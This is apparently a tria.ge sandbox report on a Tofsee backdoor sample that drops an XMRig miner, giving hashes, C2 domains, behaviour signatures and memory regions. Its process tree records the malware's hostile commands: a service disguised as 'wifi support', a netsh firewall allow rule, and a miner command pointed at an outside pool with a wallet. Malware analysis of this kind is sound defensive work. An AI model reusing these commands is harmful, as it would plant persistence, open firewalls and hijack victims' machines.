Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    09/10/2023, 19:27

General

  • Target

    file.exe

  • Size

    217KB

  • MD5

    d463534b0954694b60167a0cb04efaeb

  • SHA1

    a87d785486046ae80d796207f917e8f56d13a4b5

  • SHA256

    592d40863ff1e617388d42e0886b1a3280602fc6e25217d74436d232a32041c1

  • SHA512

    564b84a451b449c6499cbe8de41dacaf3f5bf9e949d4fde52d1b12d03f19b74bda0bf33502a6a8e6e2451c4fbdd97e7bc52d5b0f096e002310e8b6785944f755

  • SSDEEP

    3072:oHXkUCqSTZLMGAfp3C1rlodZNE6nZ1Vb96fQd0Dha5mT9:qkUCDLyfJoGdZ26Z1V5JKhNT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2260
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\byyqpcby\
      2⤵
        PID:2192
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zlbocbtx.exe" C:\Windows\SysWOW64\byyqpcby\
        2⤵
          PID:2216
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create byyqpcby binPath= "C:\Windows\SysWOW64\byyqpcby\zlbocbtx.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1372
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description byyqpcby "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start byyqpcby
          2⤵
          • Launches sc.exe
          PID:2716
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2928
      • C:\Windows\SysWOW64\byyqpcby\zlbocbtx.exe
        C:\Windows\SysWOW64\byyqpcby\zlbocbtx.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1328
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2648
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1500

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\zlbocbtx.exe

        Filesize

        10.9MB

        MD5

        6b7b4630fc9179d8ff268628265de15a

        SHA1

        e045118082bafe9c7aec8080c68f9c48d47eb40b

        SHA256

        91eb51b2f9a4cee0be126cf8991b1e1496a53c8d10f9af7bd5ef1dd2d21fce72

        SHA512

        e70b02ad4484198a400166e2046d96776a0ee6c5b30405b5d555a4021f564c785667821044bcb02ac9c8549e9757ae5a54eb66e7b4ee9cc58c8672e94d2ce26b

      • C:\Windows\SysWOW64\byyqpcby\zlbocbtx.exe

        Filesize

        10.9MB

        MD5

        6b7b4630fc9179d8ff268628265de15a

        SHA1

        e045118082bafe9c7aec8080c68f9c48d47eb40b

        SHA256

        91eb51b2f9a4cee0be126cf8991b1e1496a53c8d10f9af7bd5ef1dd2d21fce72

        SHA512

        e70b02ad4484198a400166e2046d96776a0ee6c5b30405b5d555a4021f564c785667821044bcb02ac9c8549e9757ae5a54eb66e7b4ee9cc58c8672e94d2ce26b

      • memory/1328-10-0x0000000000290000-0x0000000000390000-memory.dmp

        Filesize

        1024KB

      • memory/1328-11-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB

      • memory/1328-16-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB

      • memory/1500-75-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1500-73-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1500-62-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1500-64-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1500-68-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1500-77-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1500-76-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1500-72-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1500-74-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/2260-7-0x0000000000230000-0x0000000000243000-memory.dmp

        Filesize

        76KB

      • memory/2260-1-0x0000000000700000-0x0000000000800000-memory.dmp

        Filesize

        1024KB

      • memory/2260-2-0x0000000000230000-0x0000000000243000-memory.dmp

        Filesize

        76KB

      • memory/2260-6-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB

      • memory/2260-3-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB

      • memory/2648-38-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-48-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-33-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-34-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-35-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-36-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-37-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-27-0x00000000000F0000-0x00000000000F6000-memory.dmp

        Filesize

        24KB

      • memory/2648-39-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-40-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-41-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-42-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-43-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-44-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-45-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-46-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-47-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-30-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-49-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/2648-50-0x0000000000190000-0x0000000000195000-memory.dmp

        Filesize

        20KB

      • memory/2648-53-0x0000000000190000-0x0000000000195000-memory.dmp

        Filesize

        20KB

      • memory/2648-54-0x0000000005470000-0x000000000587B000-memory.dmp

        Filesize

        4.0MB

      • memory/2648-57-0x0000000005470000-0x000000000587B000-memory.dmp

        Filesize

        4.0MB

      • memory/2648-58-0x0000000000200000-0x0000000000207000-memory.dmp

        Filesize

        28KB

      • memory/2648-26-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2648-23-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2648-22-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/2648-20-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/2648-19-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/2648-18-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/2648-15-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/2648-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2648-12-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB